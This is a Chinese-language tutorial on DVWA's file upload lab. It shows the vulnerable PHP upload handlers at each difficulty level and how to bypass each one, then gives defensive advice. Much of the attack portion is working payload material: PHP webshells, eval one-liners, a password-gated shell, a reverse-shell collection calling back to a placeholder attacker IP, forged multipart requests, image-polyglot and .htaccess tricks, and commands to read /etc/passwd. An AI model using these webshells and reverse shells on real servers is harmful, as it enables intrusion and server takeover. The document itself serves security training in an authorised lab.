0%

DVWA - File Upload (文件上传) 攻防练习详解

目录


漏洞简介

什么是文件上传漏洞(File Upload Vulnerability)?

文件上传漏洞是指Web应用程序没有对上传的文件进行严格验证,允许攻击者上传恶意文件并执行。

危害:

  • 上传WebShell获取服务器控制权
  • 上传病毒木马
  • 覆盖重要文件
  • 造成拒绝服务(上传大文件)
  • 钓鱼攻击(上传假页面)
  • XSS攻击(上传HTML文件)

攻击流程:

  1. 上传恶意PHP文件(WebShell)
  2. 访问上传的文件
  3. 执行任意系统命令
  4. 完全控制服务器

常见场景:

  • 头像上传
  • 文档上传
  • 图片上传
  • 附件上传

Low 难度

攻击目标

无任何验证的文件上传,直接获取WebShell。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

// 检查是否提交了上传表单
// isset() - 检查变量是否存在
// $_POST['Upload'] - 上传按钮
if( isset( $_POST[ 'Upload' ] ) ) {

// ★★★ 定义上传目录 ★★★
// __DIR__ - 当前文件所在目录的绝对路径
// DIRECTORY_SEPARATOR - 目录分隔符(Windows: \, Linux: /)
// uploads/ - 上传文件存储目录
$target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';

// ★★★ 危险操作:直接使用用户上传的文件名 ★★★
// basename() - 返回路径中的文件名部分
// $_FILES['uploaded']['name'] - 用户上传文件的原始文件名
//
// 问题:
// 1. 不检查文件扩展名(允许.php)
// 2. 不检查文件内容
// 3. 不检查MIME类型
// 4. 不重命名文件
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// ★★★ 直接移动上传的文件到目标目录 ★★★
// move_uploaded_file() - 将上传的文件移动到新位置
// 参数1:$_FILES['uploaded']['tmp_name'] - 临时文件路径
// 参数2:目标路径
// 返回值:成功返回true,失败返回false
//
// $_FILES数组结构:
// ['name'] - 原始文件名
// ['type'] - MIME类型(客户端提供,不可信)
// ['tmp_name'] - 服务器临时文件路径
// ['error'] - 错误代码
// ['size'] - 文件大小(字节)
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {

// 上传失败
echo '<pre>Your image was not uploaded.</pre>';
}
else {

// ★★★ 上传成功,显示文件路径 ★★★
// 问题:直接显示路径,方便攻击者访问恶意文件
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

漏洞分析

核心问题:

  1. 无文件类型检查 - 允许上传.php文件
  2. 无文件内容检查 - 不验证文件实际内容
  3. 无MIME类型检查 - 不检查Content-Type
  4. 使用原始文件名 - 不重命名文件
  5. 暴露文件路径 - 显示上传路径

攻击流程:

1
2
3
4
5
1. 创建shell.php(WebShell)
2. 上传shell.php
3. 访问 uploads/shell.php
4. 执行系统命令
5. 完全控制服务器

攻击步骤

步骤1:创建简单WebShell

最简单的WebShell(shell.php):

1
2
3
4
5
<?php
// 执行GET参数中的cmd命令
// system() - 执行系统命令并输出结果
system($_GET['cmd']);
?>

使用方法:

1
2
3
http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=whoami
http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=ls -la
http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=cat /etc/passwd

步骤2:创建功能完整的WebShell

一句话木马:

1
<?php @eval($_POST['cmd']); ?>

使用中国菜刀、蚁剑等工具连接

完整WebShell(webshell.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
// 功能完整的WebShell
?>
<!DOCTYPE html>
<html>
<head>
<title>WebShell</title>
</head>
<body>
<h1>WebShell</h1>

<h2>System Information</h2>
<pre>
OS: <?php echo PHP_OS; ?>
PHP Version: <?php echo phpversion(); ?>
Server: <?php echo $_SERVER['SERVER_SOFTWARE']; ?>
Document Root: <?php echo $_SERVER['DOCUMENT_ROOT']; ?>
Current User: <?php echo get_current_user(); ?>
</pre>

<h2>Command Execution</h2>
<form method="POST">
<input type="text" name="cmd" placeholder="Enter command" style="width:500px;">
<button type="submit">Execute</button>
</form>

<?php
if(isset($_POST['cmd'])) {
echo '<h3>Output:</h3>';
echo '<pre>';
system($_POST['cmd']);
echo '</pre>';
}
?>

<h2>File Manager</h2>
<form method="POST">
<input type="text" name="path" value="<?php echo getcwd(); ?>" style="width:500px;">
<button type="submit" name="list">List</button>
</form>

<?php
if(isset($_POST['list'])) {
$path = $_POST['path'];
echo '<pre>';
$files = scandir($path);
foreach($files as $file) {
echo $file . "\n";
}
echo '</pre>';
}
?>
</body>
</html>

步骤3:上传WebShell

  1. 在DVWA的File Upload页面
  2. 选择shell.php文件
  3. 点击Upload
  4. 记录显示的文件路径

步骤4:访问WebShell

1
http://dvwa.local/dvwa/hackable/uploads/shell.php?cmd=whoami

步骤5:执行系统命令

查看当前目录:

1
?cmd=pwd

列出文件:

1
?cmd=ls -la

读取敏感文件:

1
2
?cmd=cat /etc/passwd
?cmd=cat ../../config/config.inc.php

反弹Shell:

1
2
3
4
?cmd=bash -i >& /dev/tcp/攻击者IP/4444 0>&1

# 攻击者监听
nc -lvp 4444

步骤6:权限提升

查找SUID文件:

1
?cmd=find / -perm -4000 2>/dev/null

查看sudo权限:

1
?cmd=sudo -l

Medium 难度

攻击目标

添加了客户端和MIME类型检查,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Upload' ] ) ) {

$target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// ★★★ 新增:获取上传文件信息 ★★★
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // MIME类型(客户端提供)
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// ★★★ 新增:检查文件大小 ★★★
// 限制文件大小为100KB
if( ( $uploaded_size < 100000 ) &&

// ★★★ 核心防护:检查MIME类型 ★★★
// 只允许以下MIME类型:
// image/jpeg - JPEG图片
// image/png - PNG图片
//
// 问题:MIME类型是客户端提供的,可以伪造!
// $_FILES['uploaded']['type'] 来自HTTP请求头 Content-Type
// 攻击者可以修改Content-Type欺骗服务器
( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) ) {

// 验证通过,上传文件
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// 验证失败
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

新增防护

  1. 文件大小检查 - 限制100KB
  2. MIME类型检查 - 只允许image/jpeg和image/png

仍存在的漏洞

核心问题:

MIME类型(Content-Type)是客户端提供的,完全不可信!

1
2
3
4
5
6
7
8
9
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg ← 这里可以随意修改!

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

绕过方法

方法1:使用Burp Suite修改Content-Type

步骤:

  1. 准备shell.php文件
  2. 开启Burp Suite代理
  3. 在DVWA上传shell.php
  4. Burp拦截请求
  5. 修改Content-Type

原始请求:

1
2
3
4
5
6
7
8
9
10
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

修改后:

1
2
3
4
5
6
7
8
9
10
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg ← 修改这里

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
  1. Forward请求
  2. 上传成功!
  3. 访问shell.php执行命令

方法2:使用文件头欺骗(图片马)

创建包含PHP代码的图片文件:

1
2
3
4
5
6
7
8
# 方法1:在图片末尾添加PHP代码
cat image.jpg shell.php > shell.jpg

# 方法2:使用exiftool添加
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# 方法3:直接编辑
echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.jpg

然后:

  1. 上传shell.jpg
  2. 结合文件包含漏洞访问

High 难度

攻击目标

检查文件扩展名和图片尺寸,更难绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

if( isset( $_POST[ 'Upload' ] ) ) {

$target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// ★★★ 新增:检查文件扩展名 ★★★
// strtolower() - 转换为小写
// pathinfo() - 返回文件路径的信息
// PATHINFO_EXTENSION - 获取文件扩展名
//
// 例如:
// shell.php → php
// image.JPG → jpg(转小写)
$uploaded_ext = strtolower( pathinfo( $uploaded_name, PATHINFO_EXTENSION ) );

// ★★★ 核心防护1:扩展名白名单 ★★★
// 只允许jpg和jpeg扩展名
if( ( $uploaded_ext == "jpg" || $uploaded_ext == "jpeg" ) &&

// ★★★ 核心防护2:检查文件大小 ★★★
( $uploaded_size < 100000 ) &&

// ★★★ 核心防护3:使用getimagesize()验证 ★★★
// getimagesize() - 获取图像尺寸和类型
// 参数:图片文件路径
// 返回值:
// 成功:数组 [0=>width, 1=>height, 2=>type, ...]
// 失败:false
//
// 作用:
// 1. 验证文件是否为有效图片
// 2. 读取图片的实际内容(不是文件名或MIME类型)
// 3. 如果不是图片,返回false
//
// 这是一个强大的防护,因为它检查文件实际内容
getimagesize( $_FILES[ 'uploaded' ][ 'tmp_name' ] ) ) {

// 所有验证通过
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG images.</pre>';
}
}

?>

新增防护

  1. 扩展名白名单 - 只允许.jpg和.jpeg
  2. 文件大小限制 - 100KB
  3. getimagesize()验证 - 检查文件是否为真实图片

仍存在的漏洞

虽然防护很强,但仍有绕过方法:

关键点:

  • getimagesize()只验证文件是否为图片
  • 不阻止图片中包含PHP代码
  • 可以创建图片马(图片+PHP代码)

绕过方法

方法1:创建图片马

步骤1:准备合法图片

1
2
# 下载或创建一个jpg图片
wget http://example.com/image.jpg

步骤2:在图片中嵌入PHP代码

1
2
3
4
5
6
7
8
9
# 方法1:在图片末尾添加PHP代码
cat image.jpg > shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg

# 方法2:使用exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg

# 方法3:使用十六进制编辑器
# 在图片文件末尾手动添加PHP代码

步骤3:上传图片马

  1. 上传shell.jpg
  2. getimagesize()验证:通过(因为前面是合法图片)
  3. 扩展名检查:通过(.jpg)
  4. 上传成功!

步骤4:利用文件包含漏洞执行

1
2
3
4
# 需要结合文件包含漏洞
http://dvwa.local/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/shell.jpg&cmd=whoami

# 或使用.htaccess(如果可以上传)

方法2:上传.htaccess

如果可以上传任意文件名(只检查扩展名),尝试上传.htaccess:

.htaccess内容:

1
2
3
4
5
6
7
# 将.jpg文件当作PHP执行
AddType application/x-httpd-php .jpg

# 或
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

攻击流程:

  1. 上传.htaccess(需要绕过扩展名检查)
  2. 上传包含PHP代码的shell.jpg
  3. 访问shell.jpg,Apache会将其作为PHP执行

方法3:双扩展名

某些配置下:

1
2
shell.php.jpg  # 可能被当作PHP执行
shell.jpg.php # 可能绕过检查

Impossible 难度

攻击目标

完善的验证机制,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php

if( isset( $_POST[ 'Upload' ] ) ) {

// ★★★ 改进1:验证Anti-CSRF token ★★★
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

$target_path = __DIR__ . DIRECTORY_SEPARATOR . 'uploads/';

// ★★★ 改进2:重命名文件(使用MD5) ★★★
// md5() - 计算字符串的MD5哈希
// uniqid() - 生成唯一ID
// time() - 当前时间戳
//
// 组合生成唯一文件名,防止:
// 1. 覆盖已有文件
// 2. 猜测文件名
// 3. 路径遍历
$target_file = md5( uniqid() . time() ) . '.' . strtolower( pathinfo( $_FILES[ 'uploaded' ][ 'name' ], PATHINFO_EXTENSION ) );
$target_path .= $target_file;

$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = strtolower( pathinfo( $uploaded_name, PATHINFO_EXTENSION ) );
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// ★★★ 验证1:扩展名白名单 ★★★
if( ( $uploaded_ext == 'jpg' || $uploaded_ext == 'jpeg' || $uploaded_ext == 'png' ) &&

// ★★★ 验证2:文件大小 ★★★
( $uploaded_size < 100000 ) &&

// ★★★ 验证3:getimagesize()验证 ★★★
getimagesize( $uploaded_tmp ) ) {

// ★★★ 改进3:使用imagecreatefromjpeg()重新生成图片 ★★★
// imagecreatefromjpeg() - 从JPEG文件创建图像
// 作用:
// 1. 重新渲染图片
// 2. 移除图片中的PHP代码
// 3. 只保留图片数据
//
// 原理:
// PHP的GD库会重新渲染图片
// 只保留图像数据,丢弃其他内容(包括恶意代码)
if( $uploaded_ext == 'jpg' || $uploaded_ext == 'jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
}
elseif( $uploaded_ext == 'png' ) {
// imagecreatefrompng() - 从PNG文件创建图像
$img = imagecreatefrompng( $uploaded_tmp );
}

// ★★★ 改进4:保存重新渲染的图片 ★★★
// imagejpeg() - 将图像输出到文件
// 参数1:图像资源
// 参数2:文件路径
// 参数3:质量(0-100)
//
// 结果:
// 1. 即使上传的图片包含PHP代码
// 2. 重新渲染后,PHP代码被清除
// 3. 只保存纯净的图片数据
imagejpeg( $img, $target_path, 100 );

echo "<pre>{$target_file} succesfully uploaded!</pre>";
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// 生成新的Anti-CSRF token
generateSessionToken();

?>

完善的防护机制

多层防御:

  1. CSRF Token - 防止跨站请求伪造
  2. 文件重命名 - 使用MD5+时间戳,无法预测
  3. 扩展名白名单 - 只允许jpg, jpeg, png
  4. 文件大小限制 - 100KB
  5. getimagesize()验证 - 确保是真实图片
  6. 图片重新渲染 - 使用GD库清除恶意代码

图片重新渲染原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
输入:shell.jpg(包含PHP代码)

imagecreatefromjpeg():
1. 读取图片的像素数据
2. 忽略其他所有内容(包括PHP代码)
3. 创建新的图像资源(只有像素数据)

imagejpeg():
1. 将图像资源保存为JPEG文件
2. 只写入图片数据
3. PHP代码被完全清除

输出:纯净的图片(无恶意代码)

为什么无法攻破?

所有攻击都失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
尝试1:上传shell.php
扩展名检查 → 失败(不是jpg/jpeg/png)

尝试2:上传shell.jpg(图片马)
getimagesize() → 通过(是有效图片)
imagecreatefromjpeg() → 重新渲染,移除PHP代码
最终文件 → 纯净的图片,无法执行PHP

尝试3:修改Content-Type
无效(服务器检查实际文件内容,不依赖Content-Type)

尝试4:双扩展名shell.php.jpg
扩展名检查 → pathinfo()只取最后的扩展名(.jpg)
重新渲染 → PHP代码被清除

关键防御点:

  1. 图片重新渲染是关键 - 即使上传成功,也无法执行PHP
  2. 文件重命名 - 无法预测文件路径
  3. 白名单机制 - 只允许已知安全的扩展名
  4. 多层验证 - 任何一层失败都会拒绝

防御建议

代码层面

1. 文件类型验证(多层验证)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 1. 检查扩展名
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array($ext, $allowed)) {
die('Invalid file type');
}

// 2. 检查MIME类型(不可完全信任,作为辅助)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
die('Invalid MIME type');
}

// 3. 检查文件内容(最可靠)
if (!getimagesize($_FILES['file']['tmp_name'])) {
die('Not a valid image');
}

2. 文件重命名

1
2
3
// 使用随机名称
$new_name = md5(uniqid(rand(), true)) . '.' . $ext;
$target = 'uploads/' . $new_name;

3. 文件大小限制

1
2
3
4
5
// 限制文件大小
$max_size = 2 * 1024 * 1024; // 2MB
if ($_FILES['file']['size'] > $max_size) {
die('File too large');
}

4. 存储在Web根目录外

1
2
3
4
5
6
7
8
9
10
11
// 存储在不可访问的目录
$upload_dir = '/var/data/uploads/'; // Web根目录外

// 提供下载脚本
<?php
// download.php
$file = $_GET['file'];
// 验证文件
header('Content-Type: application/octet-stream');
readfile($upload_dir . $file);
?>

5. 图片重新渲染(推荐)

1
2
3
4
5
6
7
8
// 重新渲染图片(移除恶意代码)
if ($ext == 'jpg' || $ext == 'jpeg') {
$img = imagecreatefromjpeg($_FILES['file']['tmp_name']);
imagejpeg($img, $target, 90);
} elseif ($ext == 'png') {
$img = imagecreatefrompng($_FILES['file']['tmp_name']);
imagepng($img, $target, 9);
}

6. 设置正确的权限

1
2
3
4
5
6
7
8
9
# 上传目录权限
chmod 755 uploads/

# 上传的文件权限(不可执行)
chmod 644 uploaded_file.jpg

# 禁止执行PHP
# .htaccess
php_flag engine off

系统层面

1. 禁止上传目录执行PHP

.htaccess:

1
2
3
4
5
6
7
8
9
10
11
12
# 禁止执行PHP
php_flag engine off

# 或
<FilesMatch "\.php$">
Order Deny,Allow
Deny from all
</FilesMatch>

# 或移除PHP处理器
RemoveHandler .php
RemoveType .php

Nginx配置:

1
2
3
4
5
6
location /uploads/ {
# 禁止执行PHP
location ~ \.php$ {
deny all;
}
}

2. 使用专门的上传目录

1
2
// 上传到独立域名或子域名
// uploads.example.com(没有PHP执行权限)

3. 扫描病毒

1
2
3
4
5
// 使用ClamAV扫描
exec("clamscan " . escapeshellarg($file), $output, $return);
if ($return != 0) {
die('File contains malware');
}

框架层面

Laravel示例

1
2
3
4
5
6
7
// 使用Laravel的文件验证
$request->validate([
'avatar' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048',
]);

// 存储文件
$path = $request->file('avatar')->store('avatars', 'public');

总结对比

特性 Low Medium High Impossible
扩展名检查 ✅ 白名单 ✅ 白名单
MIME检查 ✅(客户端)
文件内容检查 ✅ getimagesize ✅ getimagesize
文件重命名 ✅ MD5
图片重渲染 ✅ GD库
CSRF防护 ✅ Token
攻击难度 极易 简单 中等 极难
可上传Shell ✅(图片马)

常用WebShell集合

最简单

1
<?php system($_GET['cmd']); ?>

一句话木马

1
2
3
<?php @eval($_POST['cmd']); ?>
<?php @assert($_POST['cmd']); ?>
<?php $a=$_POST['cmd'];$a($_POST['arg']); ?>

带密码的Shell

1
2
3
4
5
<?php
if(md5($_POST['pass']) == '5f4dcc3b5aa765d61d8327deb882cf99') {
system($_POST['cmd']);
}
?>

反弹Shell

1
2
3
4
<?php
$sock = fsockopen("攻击者IP", 4444);
$proc = proc_open("/bin/sh", [0=>$sock, 1=>$sock, 2=>$sock], $pipes);
?>

实战建议

学习路径:

  1. Low难度 - 理解文件上传漏洞基础
  2. Medium难度 - 学习绕过MIME检查
  3. High难度 - 掌握图片马技术
  4. Impossible难度 - 理解完善的防御

攻击技巧:

  • 结合文件包含漏洞利用图片马
  • 尝试上传.htaccess
  • 测试双扩展名
  • 使用Burp Suite修改请求

工具推荐:

  • Burp Suite - 修改上传请求
  • 中国菜刀 - WebShell管理
  • 蚁剑 - 现代WebShell管理
  • Weevely - 隐蔽WebShell

道德准则:

  • 只在授权环境测试
  • 不上传恶意文件到真实网站
  • 学习是为了防御,保护系统安全
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels